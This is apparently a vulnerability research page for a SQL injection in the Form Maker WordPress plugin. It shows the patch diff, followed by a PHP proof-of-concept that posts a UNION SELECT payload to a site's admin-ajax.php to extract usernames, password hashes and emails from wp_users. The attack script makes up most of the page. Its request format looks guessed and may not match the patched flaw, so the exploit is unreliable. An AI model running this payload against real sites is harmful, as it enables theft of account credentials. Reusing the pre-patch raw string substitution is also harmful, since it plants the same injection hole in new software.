CVE-2025-15441: Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder < 1.15.38 – Unauthenticated SQL Injection (form-maker)

--- a/form-maker/form-maker.php
+++ b/form-maker/form-maker.php
@@ -3,7 +3,7 @@
  * Plugin Name: Form Maker
  * Plugin URI: https://10web.io/plugins/wordpress-form-maker/?utm_source=form_maker&utm_medium=free_plugin
  * Description: This plugin is a modern and advanced tool for easy and fast creating of a WordPress Form. The backend interface is intuitive and user friendly which allows users far from scripting and programming to create WordPress Forms.
- * Version: 1.15.37
+ * Version: 1.15.38
  * Author: 10Web Form Builder Team
  * Author URI: https://10web.io/plugins/?utm_source=form_maker&utm_medium=free_plugin
  * License: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
@@ -26,8 +26,8 @@
   public $plugin_url = '';
   public $front_urls = array();
   public $main_file = '';
-  public $plugin_version = '1.15.37';
-  public $db_version = '2.15.37';
+  public $plugin_version = '1.15.38';
+  public $db_version = '2.15.38';
   public $menu_postfix = '_fm';
   public $plugin_postfix = '';
   public $handle_prefix = 'fm';
--- a/form-maker/frontend/models/form_maker.php
+++ b/form-maker/frontend/models/form_maker.php
@@ -2589,11 +2589,11 @@
       $html_list .= '</table>';
     }
     $user_fields = array(
-      "ip" => $ip,
-      "subid" => $group_id,
-      "userid" => $wp_userid,
-      "username" => $wp_username,
-      "useremail" => $wp_useremail,
+      "{ip}" => $ip,
+      "{subid}" => $group_id,
+      "{userid}" => $wp_userid,
+      "{username}" => $wp_username,
+      "{useremail}" => $wp_useremail,
     );
     $queries = $wpdb->get_results($wpdb->prepare("SELECT * FROM " . $wpdb->prefix . "formmaker_query WHERE form_id=%d", (int) $id));
     if ( $queries ) {
@@ -2618,23 +2618,16 @@
         $temp = explode('***wdfdatabasewdf***', $temp[1]);
         $database = $temp[0];
         $query = $query->query;
-        foreach ( array_keys($fvals) as $fval_key ) {
-	      $query = str_replace('"' . $fval_key . '"', $fval_key, $query);
-	      $query = str_replace(''' . $fval_key . ''', $fval_key, $query);
-	      $query = str_replace('`' . $fval_key . '`', $fval_key, $query);
-        }
         $query_values = array();
-        $query = preg_replace_callback('/{([^}]+)}/', function($match) use ($fvals, &$query_values) {
+		$query_keys = array_merge($fvals, $user_fields);
+        $query = preg_replace_callback('/{([^}]+)}/', function($match) use ($query_keys, &$query_values) {
 	      $placeholder_key = $match[0];
-	      if ( isset($fvals[$placeholder_key]) ) {
-		      $query_values[] = $fvals[$placeholder_key];
+	      if ( isset($query_keys[$placeholder_key]) ) {
+		      $query_values[] = $query_keys[$placeholder_key];
 		      return '"%s"';
 	      }
 	      return '"' . $match[0] . '"';
         }, $query);
-        foreach ( $user_fields as $user_key => $user_field ) {
-          $query = str_replace('{' . $user_key . '}', $user_field, $query);
-        }
         if ( $con_type == 'remote' ) {
           $wpdb_temp = new wpdb($username, $password, $database, $host);
           if ( !empty($query_values) ) {

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15441 - Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder < 1.15.38 - Unauthenticated SQL Injection

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to the target WordPress site
$form_id = 1; // Change this to a valid form ID on the target

// Step 1: Generate a malicious payload that exploits the SQL injection
// The vulnerable code processes form field values and substitutes them into SQL queries.
// We inject into the field value that gets placed into the query.

$malicious_value = "1' UNION SELECT user_login,user_pass,user_email FROM wp_users-- ";

// Step 2: Build the POST data mimicking a form submission
$post_data = array(
    'action' => 'form_maker_submit',
    'form_id' => $form_id,
    'form_fields' => array(
        'field_1' => $malicious_value, // Replace field_1 with actual field name from the form
        'field_2' => 'test'
    )
);

// Step 3: Send the request via cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded'
));

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch) . "n";
} else {
    echo "Response:n" . $response . "n";
}
curl_close($ch);

// Note: This PoC demonstrates the injection vector.
// The exact field names and form structure must match the target's form configuration.
// In a real attack, the attacker would enumerate form fields and IDs.
?>